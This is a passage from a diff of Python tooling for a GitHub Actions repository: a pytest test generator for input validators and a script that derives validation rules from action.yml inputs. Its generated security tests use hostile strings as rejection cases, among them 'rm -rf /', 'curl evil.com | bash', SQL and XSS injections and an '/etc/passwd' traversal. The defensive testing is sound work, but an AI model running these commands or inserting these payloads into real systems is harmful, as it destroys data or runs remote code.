self.validator.clear_errors()
|
||||
assert self.validator.validate_boolean(value) is False
|
||||
assert self.validator.has_errors()
|
||||
|
||||
def test_github_expressions(self):
|
||||
"""Test GitHub expression handling."""
|
||||
assert self.validator.validate_boolean("${{ inputs.dry_run }}") is True
|
||||
assert self.validator.validate_boolean("${{ env.DEBUG }}") is True
|
||||
'''
|
||||
|
||||
def _add_numeric_tests(self) -> str:
|
||||
"""Add numeric-specific test methods."""
|
||||
return '''
|
||||
def test_valid_integers(self):
|
||||
"""Test valid integer values."""
|
||||
assert self.validator.validate_integer("42") is True
|
||||
assert self.validator.validate_integer("-10") is True
|
||||
assert self.validator.validate_integer("0") is True
|
||||
|
||||
def test_invalid_integers(self):
|
||||
"""Test invalid integer values."""
|
||||
assert self.validator.validate_integer("3.14") is False
|
||||
assert self.validator.validate_integer("abc") is False
|
||||
assert self.validator.validate_integer("") is False
|
||||
|
||||
def test_numeric_ranges(self):
|
||||
"""Test numeric range validation."""
|
||||
assert self.validator.validate_range("5", min_val=1, max_val=10) is True
|
||||
assert self.validator.validate_range("15", min_val=1, max_val=10) is False
|
||||
assert self.validator.validate_range("-5", min_val=0) is False
|
||||
|
||||
def test_github_expressions(self):
|
||||
"""Test GitHub expression handling."""
|
||||
assert self.validator.validate_integer("${{ inputs.timeout }}") is True
|
||||
assert self.validator.validate_range("${{ env.RETRIES }}", min_val=1) is True
|
||||
'''
|
||||
|
||||
def _add_file_tests(self) -> str:
|
||||
"""Add file-specific test methods."""
|
||||
return '''
|
||||
def test_valid_file_paths(self):
|
||||
"""Test valid file paths."""
|
||||
assert self.validator.validate_file_path("./src/main.py") is True
|
||||
assert self.validator.validate_file_path("/absolute/path/file.txt") is True
|
||||
assert self.validator.validate_file_path("relative/path.yml") is True
|
||||
|
||||
def test_path_traversal_detection(self):
|
||||
"""Test path traversal detection."""
|
||||
assert self.validator.validate_file_path("../../../etc/passwd") is False
|
||||
assert self.validator.validate_file_path("./valid/../../../etc/passwd") is False
|
||||
assert self.validator.has_errors()
|
||||
|
||||
def test_file_extensions(self):
|
||||
"""Test file extension validation."""
|
||||
assert self.validator.validate_yaml_file("config.yml") is True
|
||||
assert self.validator.validate_yaml_file("config.yaml") is True
|
||||
assert self.validator.validate_yaml_file("config.txt") is False
|
||||
|
||||
def test_github_expressions(self):
|
||||
"""Test GitHub expression handling."""
|
||||
assert self.validator.validate_file_path("${{ github.workspace }}/file.txt") is True
|
||||
assert self.validator.validate_yaml_file("${{ inputs.config_file }}") is True
|
||||
'''
|
||||
|
||||
def _add_network_tests(self) -> str:
|
||||
"""Add network-specific test methods."""
|
||||
return '''
|
||||
def test_valid_urls(self):
|
||||
"""Test valid URL formats."""
|
||||
assert self.validator.validate_url("https://example.com") is True
|
||||
assert self.validator.validate_url("http://localhost:8080") is True
|
||||
assert self.validator.validate_url("https://api.example.com/v1/endpoint") is True
|
||||
|
||||
def test_invalid_urls(self):
|
||||
"""Test invalid URL formats."""
|
||||
assert self.validator.validate_url("not-a-url") is False
|
||||
assert self.validator.validate_url("ftp://example.com") is False
|
||||
assert self.validator.validate_url("") is False
|
||||
|
||||
def test_valid_emails(self):
|
||||
"""Test valid email addresses."""
|
||||
assert self.validator.validate_email("user@example.com") is True
|
||||
assert self.validator.validate_email("test.user+tag@company.co.uk") is True
|
||||
|
||||
def test_invalid_emails(self):
|
||||
"""Test invalid email addresses."""
|
||||
assert self.validator.validate_email("invalid") is False
|
||||
assert self.validator.validate_email("@example.com") is False
|
||||
assert self.validator.validate_email("user@") is False
|
||||
|
||||
def test_github_expressions(self):
|
||||
"""Test GitHub expression handling."""
|
||||
assert self.validator.validate_url("${{ secrets.WEBHOOK_URL }}") is True
|
||||
assert self.validator.validate_email("${{ github.event.pusher.email }}") is True
|
||||
'''
|
||||
|
||||
def _add_docker_tests(self) -> str:
|
||||
"""Add Docker-specific test methods."""
|
||||
return '''
|
||||
def test_valid_image_names(self):
|
||||
"""Test valid Docker image names."""
|
||||
assert self.validator.validate_image_name("myapp") is True
|
||||
assert self.validator.validate_image_name("my-app_v2") is True
|
||||
# Registry paths supported
|
||||
assert self.validator.validate_image_name("registry.example.com/myapp") is True
|
||||
|
||||
def test_valid_tags(self):
|
||||
"""Test valid Docker tags."""
|
||||
assert self.validator.validate_tag("latest") is True
|
||||
assert self.validator.validate_tag("v1.2.3") is True
|
||||
assert self.validator.validate_tag("feature-branch-123") is True
|
||||
|
||||
def test_valid_platforms(self):
|
||||
"""Test valid Docker platforms."""
|
||||
assert self.validator.validate_architectures("linux/amd64") is True
|
||||
assert self.validator.validate_architectures("linux/arm64,linux/arm/v7") is True
|
||||
|
||||
def test_invalid_platforms(self):
|
||||
"""Test invalid Docker platforms."""
|
||||
assert self.validator.validate_architectures("windows/amd64") is False
|
||||
assert self.validator.validate_architectures("invalid/platform") is False
|
||||
|
||||
def test_github_expressions(self):
|
||||
"""Test GitHub expression handling."""
|
||||
assert self.validator.validate_image_name("${{ env.IMAGE_NAME }}") is True
|
||||
assert self.validator.validate_tag("${{ steps.meta.outputs.tags }}") is True
|
||||
'''
|
||||
|
||||
def _add_security_tests(self) -> str:
|
||||
"""Add security-specific test methods."""
|
||||
return '''
|
||||
def test_injection_detection(self):
|
||||
"""Test injection attack detection."""
|
||||
assert self.validator.validate_no_injection("normal text") is True
|
||||
assert self.validator.validate_no_injection("; rm -rf /") is False
|
||||
assert self.validator.validate_no_injection("' OR '1'='1") is False
|
||||
assert self.validator.validate_no_injection("<script>alert('xss')</script>") is False
|
||||
|
||||
def test_secret_detection(self):
|
||||
"""Test secret/sensitive data detection."""
|
||||
assert self.validator.validate_no_secrets("normal text") is True
|
||||
assert (
|
||||
self.validator.validate_no_secrets("ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
|
||||
is False
|
||||
)
|
||||
assert self.validator.validate_no_secrets("password=secret123") is False
|
||||
|
||||
def test_safe_commands(self):
|
||||
"""Test command safety validation."""
|
||||
assert self.validator.validate_safe_command("echo hello") is True
|
||||
assert self.validator.validate_safe_command("ls -la") is True
|
||||
assert self.validator.validate_safe_command("rm -rf /") is False
|
||||
assert self.validator.validate_safe_command("curl evil.com | bash") is False
|
||||
|
||||
def test_github_expressions(self):
|
||||
"""Test GitHub expression handling."""
|
||||
assert self.validator.validate_no_injection("${{ inputs.message }}") is True
|
||||
assert self.validator.validate_safe_command("${{ inputs.command }}") is True
|
||||
'''
|
||||
|
||||
def _add_generic_tests(self, validator_name: str) -> str:
|
||||
"""Add generic test methods for unknown validator types.
|
||||
|
||||
Args:
|
||||
validator_name: Name of the validator
|
||||
|
||||
Returns:
|
||||
Generic test methods
|
||||
"""
|
||||
return f'''
|
||||
def test_validate_inputs(self):
|
||||
"""Test validate_inputs method."""
|
||||
# TODO: Add specific test cases for {validator_name}
|
||||
inputs = {{"test_input": "test_value"}}
|
||||
result = self.validator.validate_inputs(inputs)
|
||||
assert isinstance(result, bool)
|
||||
|
||||
def test_error_handling(self):
|
||||
"""Test error handling."""
|
||||
self.validator.add_error("Test error")
|
||||
assert self.validator.has_errors()
|
||||
assert len(self.validator.errors) == 1
|
||||
|
||||
self.validator.clear_errors()
|
||||
assert not self.validator.has_errors()
|
||||
assert len(self.validator.errors) == 0
|
||||
|
||||
def test_github_expressions(self):
|
||||
"""Test GitHub expression handling."""
|
||||
# Most validators should accept GitHub expressions
|
||||
result = self.validator.is_github_expression("${{{{ inputs.value }}}}")
|
||||
assert result is True
|
||||
'''
|
||||
|
||||
def generate_custom_validator_tests(self) -> None:
|
||||
"""Generate tests for custom validators in action directories."""
|
||||
logger.info("Generating tests for custom validators...")
|
||||
|
||||
# Find all custom validators
|
||||
for item in sorted(self.project_root.iterdir()):
|
||||
if not item.is_dir():
|
||||
continue
|
||||
|
||||
custom_validator = item / "CustomValidator.py"
|
||||
if not custom_validator.exists():
|
||||
continue
|
||||
|
||||
action_name = item.name
|
||||
test_file = self.validate_inputs_dir / "tests" / f"test_{action_name}_custom.py"
|
||||
|
||||
# Skip if test already exists
|
||||
if test_file.exists():
|
||||
logger.debug("Test already exists for %s custom validator, skipping", action_name)
|
||||
self.skipped_count += 1
|
||||
continue
|
||||
|
||||
# Generate test content
|
||||
test_content = self._generate_custom_validator_test(action_name)
|
||||
|
||||
if self.dry_run:
|
||||
logger.info("[DRY RUN] Would generate custom validator test: %s", test_file)
|
||||
self.generated_count += 1
|
||||
continue
|
||||
|
||||
# Write test file
|
||||
with test_file.open("w", encoding="utf-8") as f:
|
||||
f.write(test_content)
|
||||
|
||||
logger.info("Generated test for %s custom validator", action_name)
|
||||
self.generated_count += 1
|
||||
|
||||
def _generate_custom_validator_test(self, action_name: str) -> str:
|
||||
"""Generate test for a custom validator.
|
||||
|
||||
Args:
|
||||
action_name: Name of the action with custom validator
|
||||
|
||||
Returns:
|
||||
Test content for custom validator
|
||||
"""
|
||||
class_name = "".join(word.capitalize() for word in action_name.split("-"))
|
||||
|
||||
content = f'''"""Tests for {action_name} custom validator.
|
||||
|
||||
Generated by generate-tests.py - Do not edit manually.
|
||||
"""
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
# Add action directory to path to import custom validator
|
||||
action_path = Path(__file__).parent.parent.parent / "{action_name}"
|
||||
sys.path.insert(0, str(action_path))
|
||||
|
||||
from CustomValidator import CustomValidator
|
||||
|
||||
|
||||
class TestCustom{class_name}Validator:
|
||||
"""Test cases for {action_name} custom validator."""
|
||||
|
||||
def setup_method(self):
|
||||
"""Set up test fixtures."""
|
||||
self.validator = CustomValidator("{action_name}")
|
||||
|
||||
def teardown_method(self):
|
||||
"""Clean up after tests."""
|
||||
self.validator.clear_errors()
|
||||
|
||||
def test_validate_inputs_valid(self):
|
||||
"""Test validation with valid inputs."""
|
||||
# TODO: Add specific valid inputs for {action_name}
|
||||
inputs = {{}}
|
||||
result = self.validator.validate_inputs(inputs)
|
||||
# Adjust assertion based on required inputs
|
||||
assert isinstance(result, bool)
|
||||
|
||||
def test_validate_inputs_invalid(self):
|
||||
"""Test validation with invalid inputs."""
|
||||
# TODO: Add specific invalid inputs for {action_name}
|
||||
inputs = {{"invalid_key": "invalid_value"}}
|
||||
result = self.validator.validate_inputs(inputs)
|
||||
# Custom validators may have specific validation rules
|
||||
assert isinstance(result, bool)
|
||||
|
||||
def test_required_inputs(self):
|
||||
"""Test required inputs detection."""
|
||||
required = self.validator.get_required_inputs()
|
||||
assert isinstance(required, list)
|
||||
# TODO: Assert specific required inputs for {action_name}
|
||||
|
||||
def test_validation_rules(self):
|
||||
"""Test validation rules."""
|
||||
rules = self.validator.get_validation_rules()
|
||||
assert isinstance(rules, dict)
|
||||
# TODO: Assert specific validation rules for {action_name}
|
||||
|
||||
def test_github_expressions(self):
|
||||
"""Test GitHub expression handling."""
|
||||
inputs = {{
|
||||
"test_input": "${{{{ github.token }}}}",
|
||||
}}
|
||||
result = self.validator.validate_inputs(inputs)
|
||||
assert isinstance(result, bool)
|
||||
# GitHub expressions should generally be accepted
|
||||
'''
|
||||
|
||||
# Add action-specific test methods based on action name
|
||||
if "docker" in action_name:
|
||||
content += '''
|
||||
def test_docker_specific_validation(self):
|
||||
"""Test Docker-specific validation."""
|
||||
inputs = {
|
||||
"image": "myapp:latest",
|
||||
"platforms": "linux/amd64,linux/arm64",
|
||||
}
|
||||
result = self.validator.validate_inputs(inputs)
|
||||
assert isinstance(result, bool)
|
||||
'''
|
||||
elif "codeql" in action_name:
|
||||
content += '''
|
||||
def test_codeql_specific_validation(self):
|
||||
"""Test CodeQL-specific validation."""
|
||||
inputs = {
|
||||
"language": "javascript,python",
|
||||
"queries": "security-extended",
|
||||
}
|
||||
result = self.validator.validate_inputs(inputs)
|
||||
assert isinstance(result, bool)
|
||||
'''
|
||||
elif "label" in action_name:
|
||||
content += '''
|
||||
def test_label_specific_validation(self):
|
||||
"""Test label-specific validation."""
|
||||
inputs = {
|
||||
"labels": ".github/labels.yml",
|
||||
"token": "${{ secrets.GITHUB_TOKEN }}",
|
||||
}
|
||||
result = self.validator.validate_inputs(inputs)
|
||||
assert isinstance(result, bool)
|
||||
'''
|
||||
|
||||
content += '''
|
||||
def test_error_propagation(self):
|
||||
"""Test error propagation from sub-validators."""
|
||||
# Custom validators often use sub-validators
|
||||
# Test that errors are properly propagated
|
||||
inputs = {"test": "value"}
|
||||
self.validator.validate_inputs(inputs)
|
||||
# Check error handling
|
||||
if self.validator.has_errors():
|
||||
assert len(self.validator.errors) > 0
|
||||
'''
|
||||
|
||||
return content
|
||||
|
||||
|
||||
def main() -> None:
|
||||
"""Main entry point for test generation."""
|
||||
parser = argparse.ArgumentParser(description="Generate tests for GitHub Actions and validators")
|
||||
parser.add_argument(
|
||||
"--project-root",
|
||||
type=Path,
|
||||
default=Path.cwd(),
|
||||
help="Path to project root (default: current directory)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--verbose",
|
||||
"-v",
|
||||
action="store_true",
|
||||
help="Enable verbose logging",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--dry-run",
|
||||
action="store_true",
|
||||
help="Show what would be generated without creating files",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.verbose:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
|
||||
# Validate project root
|
||||
if not args.project_root.exists():
|
||||
logger.error("Project root does not exist: %s", args.project_root)
|
||||
sys.exit(1)
|
||||
|
||||
validate_inputs = args.project_root / "validate-inputs"
|
||||
if not validate_inputs.exists():
|
||||
logger.error("validate-inputs directory not found in %s", args.project_root)
|
||||
sys.exit(1)
|
||||
|
||||
# Run test generation
|
||||
if args.dry_run:
|
||||
logger.info("DRY RUN MODE - No files will be created")
|
||||
|
||||
generator = TestGenerator(args.project_root, dry_run=args.dry_run)
|
||||
generator.generate_all_tests()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
581
validate-inputs/scripts/update-validators.py
Executable file
581
validate-inputs/scripts/update-validators.py
Executable file
@@ -0,0 +1,581 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
"""update-validators.py
|
||||
|
||||
Automatically generates validation rules for GitHub Actions
|
||||
by scanning action.yml files and applying convention-based detection.
|
||||
|
||||
Usage:
|
||||
python update-validators.py [--dry-run] [--action action-name]
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
import re
|
||||
import sys
|
||||
from typing import Any
|
||||
|
||||
import yaml # pylint: disable=import-error
|
||||
|
||||
|
||||
class ValidationRuleGenerator:
|
||||
"""Generate validation rules for GitHub Actions automatically.
|
||||
|
||||
This class scans GitHub Action YAML files and generates validation rules
|
||||
based on convention-based detection patterns and special case handling.
|
||||
"""
|
||||
|
||||
def __init__(self, *, dry_run: bool = False, specific_action: str | None = None) -> None:
|
||||
"""Initialize the validation rule generator.
|
||||
|
||||
Args:
|
||||
dry_run: If True, show what would be generated without writing files
|
||||
specific_action: If provided, only generate rules for this action
|
||||
"""
|
||||
self.dry_run = dry_run
|
||||
self.specific_action = specific_action
|
||||
self.actions_dir = Path(__file__).parent.parent.parent.resolve()
|
||||
|
||||
# Convention patterns for automatic detection
|
||||
# Order matters - more specific patterns should come first
|
||||
self.conventions = {
|
||||
# CodeQL-specific patterns (high priority)
|
||||
"codeql_language": re.compile(r"\blanguage\b", re.IGNORECASE),
|
||||
"codeql_queries": re.compile(r"\bquer(y|ies)\b", re.IGNORECASE),
|
||||
"codeql_packs": re.compile(r"\bpacks?\b", re.IGNORECASE),
|
||||
"codeql_build_mode": re.compile(r"\bbuild[_-]?mode\b", re.IGNORECASE),
|
||||
"codeql_config": re.compile(r"\bconfig\b", re.IGNORECASE),
|
||||
"category_format": re.compile(r"\bcategor(y|ies)\b", re.IGNORECASE),
|
||||
# GitHub token patterns (high priority)
|
||||
"github_token": re.compile(
|
||||
r"\b(github[_-]?token|gh[_-]?token|token|auth[_-]?token|api[_-]?key)\b",
|
||||
re.IGNORECASE,
|
||||
),
|
||||
# CalVer version patterns (high priority - check before semantic)
|
||||
"calver_version": re.compile(
|
||||
r"\b(release[_-]?tag|release[_-]?version|monthly[_-]?version|date[_-]?version)\b",
|
||||
re.IGNORECASE,
|
||||
),
|
||||
# Specific version types (high priority)
|
||||
"dotnet_version": re.compile(r"\bdotnet[_-]?version\b", re.IGNORECASE),
|
||||
"terraform_version": re.compile(r"\bterraform[_-]?version\b", re.IGNORECASE),
|
||||
"node_version": re.compile(r"\bnode[_-]?version\b", re.IGNORECASE),
|
||||
# Docker-specific patterns (high priority)
|
||||
"docker_image_name": re.compile(r"\bimage[_-]?name\b", re.IGNORECASE),
|
||||
"docker_tag": re.compile(r"\b(tags?|image[_-]?tags?)\b", re.IGNORECASE),
|
||||
"docker_architectures": re.compile(
|
||||
r"\b(arch|architecture|platform)s?\b",
|
||||
re.IGNORECASE,
|
||||
),
|
||||
# Namespace with lookahead (specific pattern)
|
||||
"namespace_with_lookahead": re.compile(r"\bnamespace\b", re.IGNORECASE),
|
||||
# Numeric ranges (specific ranges)
|
||||
"numeric_range_0_16": re.compile(
|
||||
r"\b(parallel[_-]?builds?|builds?[_-]?parallel)\b",
|
||||
re.IGNORECASE,
|
||||
),
|
||||
"numeric_range_1_10": re.compile(
|
||||
r"\b(retry|retries|attempt|attempts|max[_-]?retry)\b",
|
||||
re.IGNORECASE,
|
||||
),
|
||||
"numeric_range_1_128": re.compile(r"\bthreads?\b", re.IGNORECASE),
|
||||
"numeric_range_256_32768": re.compile(r"\bram\b", re.IGNORECASE),
|
||||
"numeric_range_0_100": re.compile(r"\b(quality|percent|percentage)\b", re.IGNORECASE),
|
||||
# File and path patterns
|
||||
"file_path": re.compile(
|
||||
r"\b(paths?|files?|dir|directory|config|dockerfile"
|
||||
r"|ignore[_-]?file|key[_-]?files?)\b",
|
||||
re.IGNORECASE,
|
||||
),
|
||||
"file_pattern": re.compile(r"\b(file[_-]?pattern|glob[_-]?pattern)\b", re.IGNORECASE),
|
||||
"branch_name": re.compile(r"\b(branch|ref|base[_-]?branch)\b", re.IGNORECASE),
|
||||
# User and identity patterns
|
||||
"email": re.compile(r"\b(email|mail)\b", re.IGNORECASE),
|
||||
"username": re.compile(r"\b(user|username|commit[_-]?user)\b", re.IGNORECASE),
|
||||
# URL patterns (high priority)
|
||||
"url": re.compile(r"\b(url|registry[_-]?url|api[_-]?url|endpoint)\b", re.IGNORECASE),
|
||||
# Scope and namespace patterns
|
||||
"scope": re.compile(r"\b(scope|namespace)\b", re.IGNORECASE),
|
||||
# Security patterns for text content that could contain injection
|
||||
"security_patterns": re.compile(
|
||||
r"\b(changelog|notes|message|content|description|body|text|comment|summary|release[_-]?notes)\b",
|
||||
re.IGNORECASE,
|
||||
),
|
||||
# Regex pattern validation (ReDoS detection)
|
||||
"regex_pattern": re.compile(
|
||||
r"\b(regex|pattern|validation[_-]?regex|regex[_-]?pattern)\b",
|
||||
re.IGNORECASE,
|
||||
),
|
||||
# Additional validation types
|
||||
"report_format": re.compile(r"\b(report[_-]?format|format)\b", re.IGNORECASE),
|
||||
"plugin_list": re.compile(r"\b(plugins?|plugin[_-]?list)\b", re.IGNORECASE),
|
||||
"prefix": re.compile(r"\b(prefix|tag[_-]?prefix)\b", re.IGNORECASE),
|
||||
# Boolean patterns (broad, should be lower priority)
|
||||
"boolean": re.compile(
|
||||
r"\b(dry-?run|verbose|enable|disable|auto|skip|force|cache|provenance|sbom|scan|sign|fail[_-]?on[_-]?error|nightly)\b",
|
||||
re.IGNORECASE,
|
||||
),
|
||||
# File extensions pattern
|
||||
"file_extensions": re.compile(r"\b(file[_-]?extensions?|extensions?)\b", re.IGNORECASE),
|
||||
# Registry pattern
|
||||
"registry": re.compile(r"\bregistry\b", re.IGNORECASE),
|
||||
# PHP-specific patterns
|
||||
"php_extensions": re.compile(r"\b(extensions?|php[_-]?extensions?)\b", re.IGNORECASE),
|
||||
"coverage_driver": re.compile(r"\b(coverage|coverage[_-]?driver)\b", re.IGNORECASE),
|
||||
# Generic version pattern (lowest priority - catches remaining version fields)
|
||||
"semantic_version": re.compile(r"\bversion\b", re.IGNORECASE),
|
||||
}
|
||||
|
||||
# Special cases that need manual handling
|
||||
self.special_cases = {
|
||||
# CalVer fields that might not be detected
|
||||
"release-tag": "calver_version",
|
||||
# Flexible version fields (support both CalVer and SemVer)
|
||||
"version": "flexible_version", # For github-release action
|
||||
# File paths that might not be detected
|
||||
"pre-commit-config": "file_path",
|
||||
"config-file": "file_path",
|
||||
"ignore-file": "file_path",
|
||||
"readme-file": "file_path",
|
||||
"working-directory": "file_path",
|
||||
# Numeric fields that need positive integer validation
|
||||
"days-before-stale": "positive_integer",
|
||||
"days-before-close": "positive_integer",
|
||||
# Version fields with specific types
|
||||
"buildx-version": "semantic_version",
|
||||
"buildkit-version": "semantic_version",
|
||||
"tflint-version": "terraform_version",
|
||||
"default-version": "semantic_version",
|
||||
"force-version": "semantic_version",
|
||||
"golangci-lint-version": "semantic_version",
|
||||
"prettier-version": "semantic_version",
|
||||
"eslint-version": "strict_semantic_version",
|
||||
"flake8-version": "semantic_version",
|
||||
"autopep8-version": "semantic_version",
|
||||
"composer-version": "semantic_version",
|
||||
# Tokens and passwords
|
||||
"dockerhub-password": "github_token",
|
||||
"npm_token": "github_token",
|
||||
"password": "github_token",
|
||||
# Complex fields that should skip validation
|
||||
"build-args": None, # Can be empty
|
||||
"context": None, # Default handled
|
||||
"cache-from": None, # Complex cache syntax
|
||||
"cache-export": None, # Complex cache syntax
|
||||
"cache-import": None, # Complex cache syntax
|
||||
"build-contexts": None, # Complex syntax
|
||||
"secrets": None, # Complex syntax
|
||||
"platform-build-args": None, # JSON format
|
||||
"extensions": None, # PHP extensions list
|
||||
"tools": None, # PHP tools list
|
||||
"args": None, # Composer args
|
||||
"stability": None, # Composer stability
|
||||
"registry-url": "url", # URL format
|
||||
"scope": "scope", # NPM scope
|
||||
"plugins": None, # Prettier plugins
|
||||
"file-extensions": "file_extensions", # File extension list
|
||||
"file-pattern": None, # Glob pattern
|
||||
"enable-linters": None, # Linter list
|
||||
"disable-linters": None, # Linter list
|
||||
"success-codes": None, # Exit code list
|
||||
"retry-codes": None, # Exit code list
|
||||
"ignore-paths": None, # Path patterns
|
||||
"key-files": None, # Cache key files
|
||||
"restore-keys": None, # Cache restore keys
|
||||
"env-vars": None, # Environment variables
|
||||
# Action-specific fields that need special handling
|
||||
"type": None, # Cache type enum (npm, composer, go, etc.) - complex enum,
|
||||
# skip validation
|
||||
"paths": None, # File paths for caching (comma-separated) - complex format,
|
||||
# skip validation
|
||||
"command": None, # Shell command - complex format, skip validation for safety
|
||||
"backoff-strategy": None, # Retry strategy enum - complex enum, skip validation
|
||||
"shell": None, # Shell type enum - simple enum, skip validation
|
||||
# Removed image-name and tag - now handled by docker_image_name and docker_tag patterns
|
||||
# Numeric inputs with different ranges
|
||||
"timeout": "numeric_range_1_3600", # Timeout should support higher values
|
||||
"retry-delay": "numeric_range_1_300", # Retry delay should support higher values
|
||||
"max-warnings": "numeric_range_0_10000",
|
||||
# version-file-parser specific fields
|
||||
"language": None, # Simple enum (node, php, python, go, dotnet)
|
||||
"tool-versions-key": None, # Simple string (nodejs, python, php, golang, dotnet)
|
||||
"dockerfile-image": None, # Simple string (node, python, php, golang, dotnet)
|
||||
"validation-regex": "regex_pattern", # Regex pattern - validate for ReDoS
|
||||
}
|
||||
|
||||
def get_action_directories(self) -> list[str]:
|
||||
"""Get all action directories"""
|
||||
entries = []
|
||||
for item in self.actions_dir.iterdir():
|
||||
if (
|
||||
item.is_dir()
|
||||
and not item.name.startswith(".")
|
||||
and item.name != "validate-inputs"
|
||||
and (item / "action.yml").exists()
|
||||
):
|
||||
entries.append(item.name)
|
||||
return entries
|
||||
|
||||
def parse_action_file(self, action_name: str) -> dict[str, Any] | None:
|
||||
"""Parse action.yml file to extract inputs"""
|
||||
action_file = self.actions_dir / action_name / "action.yml"
|
||||
|
||||
try:
|
||||
with action_file.open(encoding="utf-8") as f:
|
||||
content = f.read()
|
||||
action_data = yaml.safe_load(content)
|
||||
|
||||
return {
|
||||
"name": action_data.get("name", action_name),
|
||||
"description": action_data.get("description", ""),
|
||||
"inputs": action_data.get("inputs", {}),
|
||||
}
|
||||
except Exception as error:
|
||||
print(f"Failed to parse {action_file}: {error}")
|
||||
return None
|
||||
|
||||
def detect_validation_type(self, input_name: str, input_data: dict[str, Any]) -> str | None:
|
||||
"""Detect validation type based on input name and description"""
|
||||
description = input_data.get("description", "")
|
||||
|
||||
# Check special cases first - highest priority
|
||||
if input_name in self.special_cases:
|
||||
return self.special_cases[input_name]
|
||||
|
||||
# Special handling for version fields that might be CalVer
|
||||
# Check if description mentions calendar/date/monthly/release
|
||||
if input_name == "version" and any(
|
||||
word in description.lower() for word in ["calendar", "date", "monthly", "release"]
|
||||
):
|
||||
return "calver_version"
|
||||
|
||||
# Apply convention patterns in order (more specific first)
|
||||
# Test input name first (highest confidence), then description
|
||||
for validator, pattern in self.conventions.items():
|
||||
if pattern.search(input_name):
|
||||
return validator # Direct name match has highest confidence
|
||||
|
||||
# If no name match, try description
|
||||
for validator, pattern in self.conventions.items():
|
||||
if pattern.search(description):
|
||||
return validator # Description match has lower confidence
|
||||
|
||||
return None # No validation detected
|
||||
|
||||
def sort_object_by_keys(self, obj: dict[str, Any]) -> dict[str, Any]:
|
||||
"""Sort object keys alphabetically for consistent output"""
|
||||
return {key: obj[key] for key in sorted(obj.keys())}
|
||||
|
||||
def generate_rules_for_action(self, action_name: str) -> dict[str, Any] | None:
|
||||
"""Generate validation rules for a single action"""
|
||||
action_data = self.parse_action_file(action_name)
|
||||
if not action_data:
|
||||
return None
|
||||
|
||||
required_inputs = []
|
||||
optional_inputs = []
|
||||
conventions = {}
|
||||
overrides = {}
|
||||
|
||||
# Process each input
|
||||
for input_name, input_data in action_data["inputs"].items():
|
||||
is_required = input_data.get("required") in [True, "true"]
|
||||
if is_required:
|
||||
required_inputs.append(input_name)
|
||||
else:
|
||||
optional_inputs.append(input_name)
|
||||
|
||||
# Detect validation type
|
||||
validation_type = self.detect_validation_type(input_name, input_data)
|
||||
if validation_type:
|
||||
conventions[input_name] = validation_type
|
||||
|
||||
# Handle action-specific overrides using data-driven approach
|
||||
action_overrides = {
|
||||
"php-version-detect": {"default-version": "php_version"},
|
||||
"python-version-detect": {"default-version": "python_version"},
|
||||
"python-version-detect-v2": {"default-version": "python_version"},
|
||||
"dotnet-version-detect": {"default-version": "dotnet_version"},
|
||||
"go-version-detect": {"default-version": "go_version"},
|
||||
"npm-publish": {"package-version": "strict_semantic_version"},
|
||||
"docker-build": {
|
||||
"cache-mode": "cache_mode",
|
||||
"sbom-format": "sbom_format",
|
||||
},
|
||||
"common-cache": {
|
||||
"paths": "file_path",
|
||||
"key-files": "file_path",
|
||||
},
|
||||
"common-file-check": {
|
||||
"file-pattern": "file_path",
|
||||
},
|
||||
"common-retry": {
|
||||
"backoff-strategy": "backoff_strategy",
|
||||
"shell": "shell_type",
|
||||
},
|
||||
"node-setup": {
|
||||
"package-manager": "package_manager_enum",
|
||||
},
|
||||
"docker-publish": {
|
||||
"registry": "registry_enum",
|
||||
"cache-mode": "cache_mode",
|
||||
"platforms": None, # Skip validation - complex platform format
|
||||
},
|
||||
"docker-publish-hub": {
|
||||
"password": "docker_password",
|
||||
},
|
||||
"go-lint": {
|
||||
"go-version": "go_version",
|
||||
"timeout": "timeout_with_unit",
|
||||
"only-new-issues": "boolean",
|
||||
"enable-linters": "linter_list",
|
||||
"disable-linters": "linter_list",
|
||||
},
|
||||
"prettier-check": {
|
||||
"check-only": "boolean",
|
||||
"file-pattern": "file_pattern",
|
||||
"plugins": "plugin_list",
|
||||
},
|
||||
"php-laravel-phpunit": {
|
||||
"extensions": "php_extensions",
|
||||
},
|
||||
"codeql-analysis": {
|
||||
"language": "codeql_language",
|
||||
"queries": "codeql_queries",
|
||||
"packs": "codeql_packs",
|
||||
"config": "codeql_config",
|
||||
"build-mode": "codeql_build_mode",
|
||||
"source-root": "file_path",
|
||||
"category": "category_format",
|
||||
"token": "github_token",
|
||||
"ram": "numeric_range_256_32768",
|
||||
"threads": "numeric_range_1_128",
|
||||
"output": "file_path",
|
||||
"skip-queries": "boolean",
|
||||
"add-snippets": "boolean",
|
||||
},
|
||||
}
|
||||
|
||||
if action_name in action_overrides:
|
||||
# Apply overrides for existing conventions
|
||||
overrides.update(
|
||||
{
|
||||
input_name: override_value
|
||||
for input_name, override_value in action_overrides[action_name].items()
|
||||
if input_name in conventions
|
||||
},
|
||||
)
|
||||
# Add missing inputs from overrides to conventions
|
||||
for input_name, override_value in action_overrides[action_name].items():
|
||||
if input_name not in conventions and input_name in action_data["inputs"]:
|
||||
conventions[input_name] = override_value
|
||||
|
||||
# Calculate statistics
|
||||
total_inputs = len(action_data["inputs"])
|
||||
validated_inputs = len(conventions)
|
||||
skipped_inputs = sum(1 for v in overrides.values() if v is None)
|
||||
coverage = round((validated_inputs / total_inputs) * 100) if total_inputs > 0 else 0
|
||||
|
||||
# Generate rules object with enhanced metadata
|
||||
rules = {
|
||||
"schema_version": "1.0",
|
||||
"action": action_name,
|
||||
"description": action_data["description"],
|
||||
"generator_version": "1.0.0",
|
||||
"required_inputs": sorted(required_inputs),
|
||||
"optional_inputs": sorted(optional_inputs),
|
||||
"conventions": self.sort_object_by_keys(conventions),
|
||||
"overrides": self.sort_object_by_keys(overrides),
|
||||
"statistics": {
|
||||
"total_inputs": total_inputs,
|
||||
"validated_inputs": validated_inputs,
|
||||
"skipped_inputs": skipped_inputs,
|
||||
"coverage_percentage": coverage,
